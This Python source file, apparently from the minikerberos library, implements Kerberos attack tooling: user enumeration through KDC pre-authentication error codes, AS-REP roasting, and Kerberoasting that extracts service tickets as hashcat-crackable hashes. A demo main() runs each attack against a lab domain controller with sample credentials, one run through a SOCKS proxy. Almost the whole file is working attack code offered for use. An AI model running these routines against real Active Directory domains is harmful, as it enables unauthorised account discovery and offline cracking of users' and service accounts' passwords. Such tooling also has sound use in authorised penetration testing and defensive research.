#!/usr/bin/env python3
#
# Author:
#  Tamas Jos (@skelsec)
#

import datetime
import secrets

from minikerberos import logger
from minikerberos.aioclient import AIOKerberosClient
from minikerberos.common.spn import KerberosSPN
from minikerberos.common.target import KerberosTarget
from minikerberos.common.creds import KerberosCredential
from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat
from minikerberos import logger
from minikerberos.protocol.asn1_structs import PrincipalName, KDCOptions, \
	PADATA_TYPE, PA_PAC_REQUEST, krb5_pvno, KDC_REQ_BODY, AS_REQ

from minikerberos.protocol.errors import KerberosErrorCode
from minikerberos.protocol.constants import NAME_TYPE, MESSAGE_TYPE
from minikerberos.network.selector import KerberosClientSocketSelector


class KerberosEtypeTest:
	# TODO: implement this
	pass

class KerberosUserEnum:
	def __init__(self, target: KerberosTarget, spn: KerberosSPN):
		self.target = target
		self.spn = spn
		self.ksoc = KerberosClientSocketSelector.select(target, True)


	def construct_tgt_req(self):
		now = now = datetime.datetime.now(datetime.timezone.utc)
		kdc_req_body = {}
		kdc_req_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','proxiable']))
		kdc_req_body['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [self.spn.username]})
		kdc_req_body['realm'] = self.spn.domain.upper()
		kdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': ['krbtgt', self.spn.domain.upper()]})
		kdc_req_body['till']  = (now + datetime.timedelta(days=1)).replace(microsecond=0)
		kdc_req_body['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
		kdc_req_body['nonce'] = secrets.randbits(31)
		kdc_req_body['etype'] = [2, 3, 16, 23, 17, 18] #we "support" all MS related enctypes
		
		pa_data_1 = {}
		pa_data_1['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST'))
		pa_data_1['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump()
		
		kdc_req = {}
		kdc_req['pvno'] = krb5_pvno
		kdc_req['msg-type'] = MESSAGE_TYPE.KRB_AS_REQ.value
		kdc_req['padata'] = [pa_data_1]
		kdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body)
		
		return AS_REQ(kdc_req)

	async def run(self):
		req = self.construct_tgt_req()

		rep = await self.ksoc.sendrecv(req.dump(), throw = False)

		if rep.name != 'KRB_ERROR':	
			# user doesnt need preauth, but it exists
			return True
			
		elif rep.native['error-code'] != KerberosErrorCode.KDC_ERR_PREAUTH_REQUIRED.value:
			# any other error means user doesnt exist
			return False
			
		else:
			# preauth needed, only if user exists
			return True

class APREPRoast:
	def __init__(self, target: KerberosTarget):
		self.target = target

	async def run(self, cred: KerberosCredential, override_etype = [23]):
		"""
		override_etype: list : list of supported encryption types
		"""
		try:
			kcomm = AIOKerberosClient(cred, self.target)
			await kcomm.get_TGT(override_etype = override_etype, decrypt_tgt = False)
			return TGTTicket2hashcat(kcomm.kerberos_TGT)
		except Exception as e:
			logger.debug('Error while roasting client %s/%s Reason: %s' % (cred.domain, cred.username, str(e)))


class Kerberoast:
	def __init__(self, target: KerberosTarget, cred: KerberosCredential):
		self.target = target
		self.cred = cred

	async def run(self, spns, override_etype = [2, 3, 16, 23, 17, 18]):
		try:
			kcomm = AIOKerberosClient(self.cred, self.target)
			await kcomm.get_TGT(override_etype = override_etype, decrypt_tgt = False)
		except Exception as e:
			logger.exception('a')
			logger.debug('Error logging in! Reason: %s' % (str(e)))

		results = []
		for spn in spns:
			try:
				tgs, _, _ = await kcomm.get_TGS(spn, override_etype = override_etype)
				results.append(TGSTicket2hashcat(tgs))
			except Exception as e:
				logger.exception('b')
				logger.debug('Failed to get TGS ticket for user %s/%s/%s! Reason: %s' % (spn.domain, str(spn.service), spn.username, str(e)))
				continue

		return results

async def main():
	url = 'kerberos+pw://teas\\test:pass@10.10.10.2'
	ku = KerberosClientURL.from_url(url)
	target_user = 'asdadfadsf@TEST.corp'
	target = ku.get_target()
	print(target)
	spn = KerberosSPN.from_user_email(target_user)
	ue = KerberosUserEnum(target, spn)
	res = await ue.run()
	print(res)
	
	url = 'kerberos+pw://TEST\\asreptest:pass@10.10.10.2'
	ku = KerberosClientURL.from_url(url)
	target = ku.get_target()
	cred = ku.get_creds()
	arr = APREPRoast(target)
	res = await arr.run(cred)
	print(res)


	target_user = 'srv_http@TEST.corp'
	spn = KerberosSPN.from_user_email(target_user)
	url = 'kerberos+pw://TEST\\victim:Passw0rd!1@10.10.10.2/?timeout=77'
	ku = KerberosClientURL.from_url(url)
	target = ku.get_target()
	cred = ku.get_creds()
	arr = Kerberoast(target, cred)
	res = await arr.run([spn])
	print(res)

	target_user = 'srv_http@TEST.corp'
	spn = KerberosSPN.from_user_email(target_user)
	url = 'kerberos+pw://TEST\\victim:Passw0rd!1@10.10.10.2/?proxyhost=10.10.10.102&proxytype=socks5&proxyport=1080'
	ku = KerberosClientURL.from_url(url)
	target = ku.get_target()
	print(target)
	cred = ku.get_creds()
	arr = Kerberoast(target, cred)
	res = await arr.run([spn])
	print(res)

if __name__ == '__main__':
	from asysocks import logger as alogger
	from minikerberos.common.url import KerberosClientURL
	import asyncio
	alogger.setLevel(2)
	asyncio.run(main())